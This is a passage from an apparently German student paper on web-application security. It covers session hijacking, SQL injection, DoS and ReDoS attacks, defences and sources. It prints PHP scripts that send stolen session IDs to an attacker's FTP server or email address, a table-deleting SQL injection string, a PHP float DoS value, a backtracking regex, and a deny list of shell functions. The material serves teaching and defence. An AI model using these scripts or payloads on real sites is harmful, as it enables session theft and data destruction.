// Neue gestohlene Information in eine Variable speichern und FTP-Übertragungsmodus wählen
$sid = session_id(); if(empty($sid)) {@session_start(); $sid = $_COOKIE[“PHPSESSID”];} $mode = FTP_ASCII;
// Verbindung mit einem FTP-Server des Hackers herstellen
$ftp_server = "ftp.beispiel.server.com"; $connection_id = @ftp_connect($ftp_server);
Seite 30
// Mit Benutzerdaten des Hackers anmelden
$benutzername = "loginname"; $passwort = "loginpasswort";
$login_result = @ftp_login($connection_id, $benutzername, $passwort);
// Alle bisher gestohlenen Informationen vom Server des Angreifers herunterladen
@ftp_get($connection_id,"./ganzeliste.txt","./Temp/gestohleneinformation.txt",$mode);
// Neue gestohlene Information lokal in die Liste aller gestohlenen Informationen integrieren und speichern
$f=@fopen("./ganzeliste.txt", "a+"); $file = @file("./ganzeliste.txt"); if($file[0]=="") {@fputs($f,$sid);}
else {@fputs($f,"\n".$sid);} @fclose($f);
// Komplette Liste gestohlener Informationen auf Server des Angreifers hochladen
@ftp_put($connection_id, "./Temp/gestohleneinformation.txt", "./ganzeliste.txt", $mode);
// Vom FTP-Protokoll abmelden
@ftp_quit($connection_id);
// Die lokale erstellte Textdatei, in der alle gestohlenen Informationen stecken vom Server löschen
@unlink('./ganzeliste.txt');
…
Abb 6.1: PHP-Skript um Session-IDs aller Besucher zu sammeln
Der Angreifer könnte nun einfach die empfangenen Session-IDs verwenden, indem er
eine
der
Session-IDs
in
seinen
„PHPSESSID“-Cookie kopiert und die Website aufruft. Schon wäre er bei einer
Anmeldeseite, die Sessions nicht ausreichend
prüft, mit dem Namen des Opfers
angemeldet. Wie man im obigen Code sieht,
würde der Angreifer sich jedoch selbst
angreifbar machen, da er die Anmeldedaten
des FTP-Kontos seiner eigenen Website
angeben müsste, daher würden sich andere
Angriffswege besser eignen. So könnte er
zum Beispiel auch einfach die neue
entwendete Session-ID in einer E-Mail an
sich selbst verfassen lassen, sofern die Ein- Abb. 6.2: Fremde Session-ID in Cookie kopieren
stellungen des Webservers das erlauben
würden.
Eine E-Mail wäre mit folgendem PHP-Code realisierbar.
<?php
// Datum und Uhrzeit ermitteln
$timestamp = time(); $datum = date("d.m.Y",$timestamp); $uhrzeit = date("H:i",$timestamp);
// Absendername und Absenderadresse festlegen - kann beliebig gewählt werden, da es nicht auf
// Korrektheit überprüft wird!
$extra = "From: Session-ID-Skript <[email protected]>";
// Abzuschickende Nachricht festlegen
$sid = session_id(); if(empty($sid)) {@session_start(); $sid = session_id();} $nachricht = "SID: ".$sid;
// E-Mail unterdrückt (ohne Fehlermeldungen) an “[email protected]” abschicken
@mail("[email protected]", "XSS-Opfer am ".$datum." um ".$uhrzeit." Uhr", $nachricht, $extra);
?>
Abb. 6.3: PHP-Skript um Session-IDs aller Besucher durch Versand an eine E-Mail zu sammeln
Seite 31
Um Session-Hijacking zu erschweren, gibt es eine Vielzahl von Präventivmaßnahmen, unter
anderem sollten alle XSS-Sicherheitslücken möglichst geschlossen werden und eine LoginSession korrekt aufgebaut werden. Es reicht nicht, eine Session zu erlauben, wenn die Daten
von einem Cookie korrekt und die Session-ID im Cookie dieselbe ist. Es müssen mehrere
Besucherdaten miteinander kombiniert werden, um Angreifer zu hindern, die Session eines
Besuchers zu stehlen. Unter anderem kann man den User-Agent (da es unwahrscheinlich ist,
dass der Besucher beispielsweise seinen Browser wechselt, während er auf der Seite ist), die
IP-Adresse und andere Besucherdaten überprüfen lassen, um eine Session-Übernahme einem
Hacker zu erschweren, da er auch diese Daten fälschen müsste. Die Schlüssellänge sollte außerdem geeignet gewählt werden und nicht leicht zu erraten sein und Sessions sollten nicht in
einem Link in der URL weitergegeben werden können. Es wäre auch noch sinnvoll, die Session sicherheitshalber nach einer gewissen Zeit ablaufen zu lassen, falls der Besucher keine
Aktion auf der Website durchführt. (Vgl. Kübeck 2011, 152-154)
Beispiel einer Login-Prüfung, in der Session-Hijacking durch Besucherdaten erschwert wird
<?php
// Jede Sitzung wird nach 10 Minuten ungültig und der Benutzer muss sich neu anmelden.
session_cache_expire(10);
session_start();
…
// Individuelle Besucherdaten werden schon vor der Überprüfung ermittelt und in einer Variable gespeichert.
$besucherdaten = md5($_SERVER['REMOTE_ADDR'].$_SERVER['HTTP_USER_AGENT']);
if (!isset($_SESSION["username"])) { if(user==true && password==true) {
// Bei einer neuen Sitzung wird sofort IP-Adresse und User-Agent (Besucherdaten) gespeichert.
$_SESSION["username"] = $besucherdaten;
// Der neu angemeldete Benutzer wird automatisch zu einem gesicherten Bereich der Site weitergeleitet.
header("Location: ./safearea01.php");}}
if($_SESSION["username"]!=$besucherdaten) {
// Wenn es nicht der erwartete Nutzer ist, wird die Session sofort aufgehoben und um die Eingabe des
// Passworts gebeten, andernfalls wird beispielsweise zu einem gesicherten Bereich weitergeleitet.
session_destroy();} else{ header("Location: ./safearea01.php"); }
…
Abb 6.4: Beispiel einer Login-Überprüfung mit der Skriptsprache PHP
Über die PHP-Superglobal-Variable „$_SERVER“ lassen sich viele Besucherdaten abfragen,
unter anderem, aus welcher Website der Besucher kommt oder welches Betriebssystem, welche Bildschirmauflösung etc. der Besucher hat. Solche Daten können in der Überprüfung
verwendet werden. Welche Vielzahl an Browser- und Serverdaten alleine durch das Besuchen
einer Webseite abgefragt werden können, lässt sich bei Privatsphäretests wie unter
http://www.maxa-tools.com/cookie-privacy.php gut veranschaulichen.
Seite 32
3.8 SQL-Injection
SQL-Injection-Schwachstellen zählen neben XSS-Schwachstellen zu den häufigsten. SQLSicherheitslücken entstehen ähnlich wie XSS-Schwachstellen durch ungenügende Überprüfung und Maskierung gewisser Zeichen, die es erlauben, weitere Befehlsketten einzuschleusen (zu „injizieren“) und ursprüngliche Befehlsketten zu manipulieren. Da es sich bei SQLInjection um das Ausnutzen dieser Schwachstelle bei SQL-Datenbanken handelt, sollten Zeichen, die bei SQL-Datenbanken verwendet werden, maskiert werden. Zum Beispiel erlaubt
das Zeichen „+“, Strings nach der Java-Notation miteinander zu verbinden. (Vgl. Kübeck
2011, 107-112; Zalewski 2013, 334-335; Wassermann 2007, 351-355; Esser/Kunz 2008, 121123)
Beispiel einer SQL-Injection:
Um die Übersicht zu bewahren, werden ausschließlich die betreffenden SQL-Befehl im Beispiel gezeigt und nicht die (Weiter-)Verarbeitung der SQL-Befehle mittels PHP.
Ein Angreifer untersucht den Link einer Webanwendung.
URL-Adresse:
SQL-Befehl:
http://webserver/cgi-bin/find.cgi?count=15
"select * from product where id=" + count …
Abb 7.1: Analyse einer URL und Annahme einer SQL-Befehlskette
Die in der URL-ID angegebene Zahl beschreibt eine Zeile in der Tabelle „product“, in der alle
Zellen sozusagen „ausgewählt“ werden. Alle Informationen in dieser Zeile werden weiterverarbeitet, beispielsweise ausgegeben oder überprüft. (Vgl. Kübeck 2011, 107)
Wenn die URL modifiziert bzw. für die URL-ID keine Zahl, sondern SQL-Befehle eingegeben werden und anschließend die veränderte URL aufgerufen wird, entsteht eine andere Befehlskette.
URL-Adresse:
SQL-Befehl:
http://webserver/cgi-bin/find.cgi?count=0;delete from product -select * from product where id=0;delete from product --
Abb 7.2: Eingabe einer SQL-Befehlskette, welche die Datenbank manipuliert
Sollte der Datenbankbenutzer die ausreichenden Rechte haben, würde somit die komplettte
Tabelle „product“ unwiderruflich gelöscht werden, da mit der Zeile 0 alle Inhalte der Tabelle
ausgewählt werden. Damit dieser Löschbefehl nicht ungültig geparst wird, da direkt danach
ein weiterer Befehl folgen könnte und die SQL-Syntax demnach falsch wäre, wird mit „--“
Seite 33
ein SQL-Kommentar begonnen. Somit werden alle folgenden Befehle in dieser Befehlskette
ignoriert! (Vgl. Kübeck 2011, 108-109; Wassermann 2007, 353-355)
Das Einschleusen und Manipulieren von SQL-Ausführungen kann natürlich auch bei der Prüfung anderer Datentypen wie Strings (= Zeichenketten) geschehen. Die einzige Voraussetzung für eine SQL-Injection ist, dass der Angreifer sich mit SQL-Datenbanken auskennen
muss. Mit dem Einschleusen von Code können bei der SQL-Injection ebenfalls Passwörter
gestohlen werden und jegliche Daten in der Datenbank ausgelesen werden. Es ist daher ganz
einfach möglich mit SQL-Injection eine Website zu übernehmen. (Vgl. Kübeck 2011, 108109)
Daher ist eine richtige Validierung der Benutzereingaben, genauso wie bei einer XSSSchwachstelle, unbedingt notwendig. PHP bietet viele Escape-Funktionen an, mit denen die
Eingabe maskiert werden kann, zum Beispiel „mysql_real_escape_string()“. Das Überprüfen
der Benutzereingaben auf ihre gedachten Datentypen ist nicht schwer zu bewerkstelligen.
Durch „Integer.parseInt(id)“ würde zum Beispiel der übergebene Wert des obigen Beispiels
ausschließlich eine Zahl sein, da der Wert vorher zu diesem Datentyp umgewandelt wird. Ein
Angriff wäre nutzlos, da die Befehle als Zeichenketten eingestuft und zu einer Zahl konvertiert werden würden, welche die Webanwendung weiterzuverarbeiten weiß. Bei Zeichenketten würde das Konvertieren zu Strings jedoch überflüssig sein, da die Befehle ebenfalls als
Strings vorliegen. Daher müssten Zeichenketten anders geprüft und maskiert werden. Eine
Methode wäre, alle SQL-Abfragen in Anführungszeichen zu notieren, doch das bietet noch
keinen ausreichenden Schutz. Durch sogenannte „Prepared-Statements“ können alle SQLInjection-Schwachstellen am wirksamsten entschärft werden, indem Benutzereingaben ausschließlich als Parameter an das Prepared-Statement übergeben werden. (Vgl. Kübeck 2011,
113-116; Wassermann 2007, 367-370; Esser/Kunz 2008, 139-143)
PreparedStatement stmt = connection.prepareStatement("select * from product" +
"where id=? and name=?");
stmt.setInteger(1, number);
stmt.setString(2, name);
ergebnis = stmt.executeQuery();
Abb 7.2: Eingaben durch Prepared-Statements vorbereiten und in Variablen speichern
Prepared-Statements bereiten die Benutzereingaben sozusagen vor, indem sie klarstellen, dass
diese nicht als Befehl verwendet werden können, sondern ausschließlich in ihrem gedachten
Seite 34
Datentyp zu verarbeiten sind. Der einzige Nachteil an Prepared-Statements ist, dass sie mit
zunehmender Anzahl der Variablen unübersichtlich werden können. (Vgl. Kübeck 2011, 114115)
3.9 DoS-Angriffe
Einer der schlimmsten Angriffe auf Web-Anwendungen wird als Denial-of-Service-Angriff
bezeichnet, da dieser eine Website komplett lahmlegen und Zugriffe von Besuchern und/oder
Administratoren unmöglich machen kann. DoS-Schwachstellen werden oftmals von Erpressern ausgenutzt. Eine Web-Anwendung wird dabei eine Zeit lang lahmgelegt, und der Websitebetreiber wird aufgefordert einer gewissen Forderung nachzugehen, z.B. Geld zu überweisen. Andernfalls würden die Angriffe fortbestehen, bis die Besucherzahl drastisch gesunken
ist. (Vgl. Kübeck 2011, 175; Zalewski 2013, 333)
Eine noch gefährlichere Variante eines DoS-Angriffs sind verteilte DoS-Angriffe, sogenannte
DDoS-Angriffe (Distributed Denial of Service). Bei dieser Form greift nicht ein einzelner
Computer eine Webanwendung an, sondern parallel ganze Rechnernetzwerke von tausenden
Computern, die weltweit verteilt sind. Nicht selten werden Botnetzwerke für derartige Angriffe missbraucht. Die Eigentümer von Zombie-Rechnern wissen und bemerken meistens nicht,
dass ihr Rechner für solche Zwecke missbraucht wird. DDoS-Angriffe sind aus mehreren
Gründen äußerst gefährlich. Einerseits sind Zombies überall weltweit verteilt und behindern
sich dadurch nicht gegenseitig, weil sie etwa ihre Netzwerkbandbreite untereinander teilen
müssen. Erst beim Computer der Website kommen alle Anfragen zusammen und dort kann
die Netzwerkbelastung so weit steigen, dass der Webserver seinen Zugriff komplett verweigert. Andererseits kann man Zombies sehr schwer aufhalten, weil jede IP-Adresse einzeln
gesperrt werden müsste. Wenn Segmente von einer IP-Adresse gesperrt wären, würde das
unschuldige Besucher aus diesem Land auch betreffen, die dann die Website auch nicht öffnen könnten. (Vgl. Kübeck 2011, 175-176)
DoS-Angriffe zielen immer auf das Gleiche ab. Es wird versucht eine Endlosschleife auszuführen, die Ressourcen des Webservers verbraucht oder seine Ausführungszeit enorm verlangsamt. Natürlich werden durch Zeitüberschreitungen der Skripte Endlosschleifen normalerweise beendet, aber wenn beispielsweise bei einem DDoS-Angriff zahlreiche Endlosschleif
Seite 35
fen parallel laufen und immer wieder neu gestartet werden, helfen auch Zeitüberschreitungen
nicht.
Oft ist es gar nicht notwendig, besondere Angriffstechniken wie XSS oder SQL-Injection anzuwenden, da manche Endlosschleifen sogar von legitimen Benutzern ohne böse Absicht ausgelöst werden können. Außerdem können Endlosschleifen auch bei Rekursionen ohne definierte Abbruchbedingungen entstehen. Endlosschleifen entstehen meistens durch eine unbedachte Programmierung der Skripte oder der jeweiligen Skriptsprache.
So war es bis 6. Jänner 2011 mit älteren PHP-Versionen möglich, einen Webserver durch
einen Konvertierungsfehler bei der Umwandlung bestimmter Dezimalzahlen mit vielen Stellen in Fließkommawerte außer Gefecht zu setzen. (Vgl. Kübeck 2011, 177-180; Syska)
...
1.)
$f=(float)"2.2250738585072011e-308"; echo $f;
2.)
$f=floatval("2.2250738585072011e-308"); echo $f;
3.)
$f="2.2250738585072011e-308"; echo (float)$f;
...
Abb 8: Beispiele zur PHP-Schwachstelle
Alle diese Konvertierungsmöglichkeiten führten bei Zielrechnern zu einer ArbeitsspeicherAuslastung von 100 % und in Folge zum Reaktionsverlust des Computers bzw. Webservers.
So gesehen hat lange Zeit in der Skriptsprache PHP ein DoS-Angriff nur aus der Umkonvertierung einer Dezimalzahl in eine Gleitkommazahl bestehen können. (Vgl. Syska)
Demnach gibt es keinen wirklichen Schutz vor DoS-Angriffen. Das genaue Prüfen von
Schleifen und Rekursionen ist genauso wichtig, wie das sofortige Installieren von Softwareaktualisierungen.
3.9.1 ReDoS-Angriffe
Eine weitere Variante von DoS-Angriffen wird als ReDoS-Angriff (Regular-Expression-DoSAngriff) bezeichnet. Reguläre Ausdrücke werden in vielen Programmier- und Skriptsprachen
verwendet. Ihr Einsatzgebiet in einer Web-Anwendung richtet sich meistens auf das Überprüfen und Maskieren von Benutzereingaben bzw. das schnelle Filtern von Informationen aus
einer großen Datenmenge. Genau dort setzen auch Angreifer an, denn leider kann es bei sehr
Seite 36
komplexen und langen regulären Ausdrücken auch zu sehr langen Rechenzeiten kommen, da
alle Möglichkeiten ausprobiert werden. (Vgl. Kübeck 2011, 180-182)
Regulärer Ausdruck:
a*[ab]*0
Benutzereingabe:
aaaaaaaaaaaaaaaaaaaaX
Abb. 9.1: Benutzereingabe durch einen Regulären Ausdruck prüfen
Wird die obige Benutzereingabe mit dem genannten regulären Ausdruck überprüft, passiert
Folgendes: Zunächst wird der Buchstabe „a“ in der Benutzereingabe abgesucht, wobei „a*“
bedeutet, dass der Buchstabe unendlich oft oder gar nicht vorkommt. Beim Absuchen wird
auf das Zeichen „X“ gestoßen, was offensichtlich nicht zu diesem Muster passt. Obwohl in
der Benutzereingabe dieses „X“ steckt, muss trotzdem bei der Auswertung jede gültige Kombination für den Ausdruck „a*“ gefolgt von „[ab]*“ (das Zeichen „a“ oder „b“ kann unendlich
oft oder gar nicht vorkommen) durchprobiert werden, um sicherzustellen, dass die Benutzereingabe tatsächlich nicht dem regulären Ausdruck entspricht, weil die Maschine den Ausdruck als eine mögliche andere Kombination des ganzen regulären Ausdrucks interpretiert.
Was für das menschliche Auge sofort ersichtlich ist, wird mit einem regulären Ausdruck aufwendig bis zum Ende ausprobiert. Dieses Verfahren erhöht logischerweise die Verarbeitungszeit enorm, tatsächlich sogar nahezu potenziell. Je länger die Benutzereingabe oder der reguläre Ausdruck ist, desto länger würde auch die Verarbeitungszeit der Maschine (in diesem
Fall der Webserver) werden. Nicht nur wegen des Ressourcenverbrauchs, sondern auch, weil
es laut Turing unmöglich ist, festzustellen, ob eine Maschine noch arbeitet oder bereits aufgehört hat (Halteproblem), kann ein DoS-Angriff durch Ausnutzen von regulären Ausdrücken
stattfinden. (Vgl. Kübeck 2011, 182-184)
Da es reguläre Ausdrücke auch in JavaScript gibt, kann folgendes Beispiel diese Annahmen
bei älteren Browsern veranschaulichen und bestätigen.
<script language="JavaScript">
function freeze() {new RegExp(/^(a+)+$/).exec("aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaab"); }</script>
…
<a href="http://www.google.at" onClick="freeze();">Test</a>
Abb 9.2: Beispiel einer Überprüfung durch einem Regulären Ausdruck in Javascript
Würde man diesen JavaScript-Code-Schnipsel im Browser ausführen, so würde der Browser
sofort (kurzzeitig) einfrieren und nicht reagieren. (Vgl. Kübeck 2011, 183-184)
Wie kann man Web-Anwendungen schützen?
Seite 37
So wie es keinen Schutz vor DoS-Angriffen gibt, gibt es auch keinen vor ReDoS-Angriffen.
Es existiert derzeit keine Möglichkeit, einen regulären Ausdruck auf seine Verwundbarkeit zu
analysieren ohne ihn auszuführen. Nichtsdestotrotz gibt es sogenannte „Regex-Fuzzer“, welche einen regulären Ausdruck mit zufälligen Werten testen und die Verarbeitungszeit messen.
Diese sind aber keine tatsächliche Lösung, da sie nicht alle möglichen Eingabewerte testen
können, da dies eine unendliche Laufzeit des Fuzzer-Werkzeugs bedeuten würde. Sofern nicht
auf reguläre Ausdrücke vollkommen verzichtet wird, sollten einige Ratschläge befolgt werden. Reguläre Ausdrücke sollten so einfach wie möglich gehalten werden, da es das Aufspüren von Schwachstellen erleichtert. Außerdem sollten lange reguläre Ausdrücke wenn möglich aufgeteilt werden. (Vgl. Kübeck 2011, 184-186)
4. Wie kann man Web-Anwendungen schützen?
Es wurden viele Angriffsszenarien gezeigt und erklärt. Unter anderem wurden auch zu jedem
genannten Angriffsweg Vorbeugungsmaßnahmen aufgezeigt, sofern welche existieren. Nur
durch das Verstehen derartiger Angriffe können richtige Lösungen entworfen oder gefunden
werden. In diesem Kapitel werden die grundlegenden Präventivvorkehrungen noch einmal
zusammengefasst.
4.1 Das Konzept der Verteidigungslinien
Als Webentwickler sollte schon im Vorhinein davon ausgegangen werden, dass die Sicherheit
der Webanwendung irgendwann fehlschlägt bzw. durchbrochen wird. Es sollte daher nicht
auf eine Verteidigungslinie zu sehr vertraut werden, sondern es sollten auch weitere Blockaden für den Angreifer eingerichtet werden. So sollte man beispielsweise nicht zu sehr darauf
vertrauen, dass die hochgradige Verschlüsselung sensibler Daten wie etwa Passwörter alleine
ausreicht, um einen Angreifer unweigerlich vom Infiltrieren der Webanwendung abzuhalten.
Würde ein Angreifer eine offen gelassene Schwachstelle wie etwa eine viel zu schlecht realisierte Session-Überprüfung missbrauchen, könnte er sich beispielsweise mit SessionHijacking trotzdem Zugang verschaffen und die erste Verteidigungslinie (Verschlüsselung der
Passwörter) umgehen. Kurz gesagt, je mehr Steine auf den Weg gelegt werden, desto schwerer wird es, den Weg zu passieren. Die erste Verteidigungslinie sollte am besten nicht nur ein
richtig konfigurierter Webserver, sondern auch eine richtig eingerichtete und im Dauerbetrieb
laufende Web Application Firewall sein, weil WAFs vor zahlreichen genannten und weiteren
Seite 38
Angriffen auf Anwendungsebene proaktiv schützen. Weitere Verteidigungslinien können vom
Webentwickler frei gewählt werden. (Vgl. Kübeck 2011, 60)
Beispiel zur Sicherheit deaktivierter PHP-Funktionen
disable_functions = “apache_child_terminate, apache_get_modules, apache_get_version, apache_getenv,
apache_note, apache_setenv, curl_exec, curl_multi_exec, define_syslog_variables, disk_free_space,
diskfreespace, dl, error_log, escapeshellarg, escapeshellcmd, exec, ftp_connect, ftp_exec, ftp_get, ftp_login,
ftp_nb_fput, ftp_put, ftp_raw, ftp_rawlist, ini_alter, ini_get_all, ini_restore, link, mysql_pconnect, openlog,
passthru, pfsockopen, php_uname, phpinfo, popen, posix_getpwuid, posix_kill, posix_mkfifo, posix_setpgid,
posix_setsid, posix_setuid, posix_uname, proc_close, proc_get_status, proc_nice, proc_open, proc_terminate,
set_time_limit, shell_exec, symlink, syslog, system, tmpfile, virtual”
Abb. 10: Deaktivierte PHP-Funktionen bei einem Apache-Webserver (Kliewe02)
Ein Angreifer sollte zum Beispiel nie die Berechtigung erlangen können, die Shell (Kommandozeilenprogramm des Webservers) mit der Funktion „shell_exec“ bedienen zu können, da
diese Zugriff auf das Betriebssystem des Webservers bietet.
Um gegen solche Risiken vorzusorgen können gewisse kritische Funktionen in der „php.ini“
mit der Direktive „disable_functions“ abgeschaltet werden. Natürlich sind manche dieser
Funktionen für gewisse Projekte und Webanwendungen nicht wegzudenken und einige Funktionen gefährlicher als andere. Diese Liste soll nur als Beispiel dienen. (Vgl. Kliewe)
4.2 Grundlegende Sicherheitsmaßnahmen
Manche Sicherheitsmaßnahmen werden weniger beachtet als andere. Ein übersichtlicher Aufbau einer Webanwendung wird aus Zeitgründen oft außer Acht gelassen, obwohl ein auskommentierter und übersichtlicher Code es einem Webadministrator erleichtern kann,
Schwachstellen ausfindig zu machen und zu beheben. Angenommen der Ernstfall tritt ein,
und es ist offensichtlich, dass eine XSS-Schwachstelle in der Datei index.php steckt. Eine
unübersichtliche Programmierweise kann einem Webadministrator etliche Stunden kosten, bis
er auf die tatsächliche Schwachstelle stößt und sie ausmerzen kann. Wenn der Code außerdem
nicht kommentiert ist, müsste der Admin auch noch nachdenken, wie er gewisse Aspekte realisiert hat und was der Code denn genau macht. Ein aktueller Virenscanner und ein aktuelles
Betriebssystem sind sowieso Pflicht. Aktualisierungen der Webserver-Software sollten ebenfalls sofort installiert werden. Es ist auch ratsam, von Benutzern durchgeführte Aktionen richtig mitprotokollieren zu lassen und nach einer bestimmten Zeit zu kontrollieren. Ein Protokoll
kann oft auch Auskunft über Angriffe geben. So kann beispielsweise anhand einer fremden
und sogar dem Benutzer unbekannten IP-Adresse eines angemeldeten Kontos auf
Seite 39
Session-Hijacking bzw. einer Session-Hijacking-Schwachstelle geschlossen werden. Eine
weitere grundlegende Sicherheitsmaßnahme ist es, überall dort, wo Benutzereingaben den
Inhalt einer Seite bestimmen, diese Eingaben korrekt zu überprüfen und zu maskieren. Jede
von Benutzereingaben abhängige Webseite ist für einen Angreifer eine willkommene Möglichkeit Code einzuschleusen. Durch versteckte Token in Formularen können auch CSRFAngriffe sehr erschwert werden. „Framebusting-Codes“ sollten eingesetzt werden, um wichtige Bereiche wie Anmelde- oder Registrierformulare vor dem Einbinden in externe Websites
zu schützen. Wenn möglich sollten keine Skripte für externe Weiterleitungen, die von der
Zieladresse abhängig sind, eingesetzt werden oder der Benutzer tatsächlich hingewiesen werden, dass er die Domäne verlässt. Download- und Uploadskripte sollten auf einen einzigen
Ordner beschränkt werden bzw. die Pfadangaben „./“ und „../“ sollten geprüft werden, damit
es nicht zu Path-Traversal-Schwachstellen kommen kann. Unsichere direkte Objektreferenzen
sollten durch indirekte Referenzen ersetzt werden. Alle Passwörter sollten möglichst lang und
geeignet gewählt werden. Dabei sind mehrere Zahlen-, Buchstaben- und Sonderzeichenkombinationen ideal. Auf die Korrektheit von clientseitigen lokalen Daten, wie Cookies, sollte
nicht vertraut werden, da diese gefälscht werden können. Stattdessen sollte eine geeignete
Überprüfung mit Hilfe von serverseitigen Daten (z.B. individuelle Besucherdaten) eingerichtet werden. Diese können zwar auch gefälscht werden, setzen aber sehr gute Kenntnisse und
sehr viel Aufwand voraus. Überall dort, wo Code einem Besucher ersichtlich ist, kann Code
eingeschleust werden (Injection). Solche Bereiche sollten mit größter Sorgfalt kodiert und auf
Eingaben überprüft werden. Das Kontrollieren von Code sollte mehrfach und lange vor der
Publizierung stattfinden. Wenn unsichere Skripte zur Testung hochgeladen werden und ein
Angreifer auf diese stößt, kann er sie mit Leichtigkeit missbrauchen. Es empfiehlt sich lokal
zu testen und nicht online. Während des Schreibens und/oder des Ausbesserns von Code sollte der Gedanke „Wie würde ich angreifen?“ immer im Hinterkopf sein. Ein Webentwickler
sollte niemals annehmen seine Webanwendung wäre vor allen Gefahren geschützt, alleine
durch das Ausmerzen einer Schwachstelle könnte eine neue und viel gefährlichere entstehen.
Ein Webentwickler sollte sich laufend über neue Gefahren informieren. Schließlich sollte
trotz all dem immer ein aktuelles Backup bereit stehen, falls trotz aller Vorkehrungen die
Website übernommen wird, damit das Projekt nicht verloren geht. Anschließend müsste natürlich das letzte Backup genauestens auf die verantwortliche/n Schwachstelle/n untersucht
und die Schwachstelle/n behoben und alle Betroffenen über den Vorfall informiert werden,
bevor das Projekt wieder online gehen kann.
Abstract
Seite 40
Abstract
Web-Sicherheit ist ein Thema, das jeden betrifft, denn das Internet ist unerlässlich für die Informationsbeschaffung geworden. Mit jedem Seitenaufruf werden
persönliche, individuelle Besucherdaten mit übertragen. Sobald ein/e Benutzer/in sich bei einer Website registriert und einloggt, liegt die Verantwortung
dieser Besucherdaten und aller Informationen, die der/die Benutzer/in in der
Website preisgibt beim Websitebetreiber. Der Webadministrator hat auch die
Aufgabe dafür zu sorgen, dass niemand diese Seiten und Informationen missbrauchen kann, doch immer wieder gibt es Zwischenfälle in denen versierte Programmierer oder unerfahrene Pseudohacker auf Methoden stoßen eine Webanwendung auszuhebeln, an Informationen heranzukommen und Einstellungen
auszunutzen, die für sie nicht erreichbar sein dürften. Wie stellen Angreifer das
an? Wie könnten Webanwendungen besser vor solchem Missbrauch geschützt
werden? Auf diese und weitere Fragen wird bis ins Detail näher eingegangen.
Web-Security is a topic which affects everyone, because the internet has become
essential for obtaining information. With each page access personal and individual user data are transferred. As soon as a user signs up for and logs into a website, the website operator has the full responsibility about these user data and all
information which are submitted by the user. The web admin also has the duty
to make sure that nobody can access or abuse these web pages or information,
but there are incidents from time to time in which programmers or inexperienced
pseudo hackers find methods to trick the web applications and gain access to
information or settings which should be unobtainable for them. How does an
attacker do this? How could web applications be better protected? These and
more questions are dealt with and focused (into detail).
Literaturverzeichnis
Seite 41
Printmedien
[Esser/Kunz]
Esser, Stefan; Kunz, Christopher: PHP-Sicherheit – PHP/MySQLWebanwendungen sicher programmieren, 3., überarbeitete Auflage 2008.
Niederlande: dpunkt.verlag, Auflage 2008, ISBN 978-3-89864-535-5
[Kübeck]
Sebastian Kübeck: Web-Sicherheit – Wie Sie Ihre Webanwendungen sicher vor
Angriffen schützen, 1. Auflage 2011. Hemsbach: mitp, ISBN 978-3-8266-9024-2
[Niemietz]
Marcus Niemietz: Clickjacking und UI-Redressing – Vom Klick-Betrug zum
Datenklau – ein Leitfaden für Sicherheitsexperten und Webentwickler,
1. Auflage 2012. Paderborn: dpunkt.verlag, ISBN 978-3-89864-796-0
[Wassermann]
Tobias Wassermann: Sichere Webanwendungen mit PHP, 1. Auflage 2007.
Wien: mitp, ISBN 978-3-8266-1754-6
[Zalewski]
Michał Zalewski: Tangled Web – Der Security-Leitfaden für Webentwickler,
deutsche Ausgabe erweitert von Mario Heiderich, 1. Auflage 2013. Paderborn:
dpunkt.verlag, ISBN 978-3-86490-002-0
Internetquellen
[Charles]
Kellep Charles – The Types of Hackers: Black Hat, White Hat or a Grey Hat
Hacker, Which Type are you? – Examiner.com [Online]
http://www.examiner.com/article/the-types-of-hackers-black-hat-white-hat-or-agrey-hat-hacker-which-type-are-you
[25.12.2012]
[Ewald01]
Markus Ewald (27.03.2007) – Hacking und Hackerabwehr WS06/07 Seminar
der Universität Karlsruhe – Karlsruher Institut für Technologie (KIT) [Online]
http://telematics.tm.kit.edu/publications/Files/252/TM-2007-1.pdf#page=25
[14.10.2012]
[Ewald02]
Markus Ewald (27.03.2007) – Hacking und Hackerabwehr WS06/07 Seminar
der Universität Karlsruhe – Karlsruher Institut für Technologie (KIT) [Online]
http://telematics.tm.kit.edu/publications/Files/252/TM-2007-1.pdf#page=30
[14.10.2012]
[Gräfer]
Nils Gräfer (29.04.2011) – Trojaner - Die schleichende Gefahr im Internet – Das
Netzwerk der Autoren [Online]
http://suite101.de/article/trojaner---die-schleichende-gefahr-im-internet-a110308
[18.11.2012]
[Jellinek]
Brigitte Jellinek (2012) – Unsichere direkte Objektreferenzen – Lehrbuch
Web-Development [Online]
http://web-development.github.com/security/a4-referenz/ [29.12.2012]
[Kliewe01]
Micheal Kliewe (22.08.2009) – Was ist “Cross Site Request Forgery” (CSRF)?
– PHP Gangsta - Der PHP Blog mit Praxisbezug [Online]
http://www.phpgangsta.de/was-ist-cross-site-request-forgery-csrf [19.02.2013]
[Kliewe02]
Micheal Kliewe (14.01.2011) – Gefährliche PHP-Funktionen ausschalten –
PHP Gangsta - Der PHP Blog mit Praxisbezug [Online]
http://www.phpgangsta.de/gefahrliche-php-funktionen-ausschalten [02.01.2013]
Seite 42
[Kogut]
Dariusz Kogut (18.09.2009) – Botnetz – Antispam Wiki – Antispam e.V. [Online]
http://www.antispam-ev.de/wiki/Botnetz [14.10.2012]
[Munk]
Felix Munk – Fachzeitschrift für Datenverarbeitung
[Online] http://www.diagramm.net/index.php?id=5455&d=a&i=NuN [18.11.2012]
[Patterson]
Emily Patterson (23.08.2012) – Scam Alert — Virus Freezes Computers and
Demands $200 Fine – Better Business Bureau [Online]
http://www.bbb.org/blog/2012/08/scam-alert-virus-freezes-computers-anddemands-200-fine/ [21.02.2013]
[Regenfelder]
Volker Regenfelder – Computerviren – Rainfelds Informationstechnologie
[Online] http://www.rainfields.com/computerviren.htm [13.10.2012]
[Schiwek]
Frederick Schiwek – Computervirus – Eine Einführung [Online]
http://www.computervirus.de [07.10.2012]
[Steiner]
Christian Steiner (01.07.2002) – Trojaner, Viren, Würmer – Ausbreitungswege
und Bekämpfung – Universität Erlangen-Nürnberg - Department of Computer
Science 4 at FAU [Online]
http://www4.cs.fau.de/Lehre/SS02/PS_KVBK/talks/ausarbeitung-trojaner.pdf
[25.12.2012]
[Syska]
Alexander Rudolf Syska (06.01.2011) – PHP: Patch behebt Floating-PointBug – Golem.de: IT-News für Profis [Online]
http://www.golem.de/1101/80529.html [01.01.2013]
[Thomaschewski] Jörg Thomaschewski – Internetprogrammierung - 12.7.2 CSRF-Attacken –
waghoo e-learning [Online]
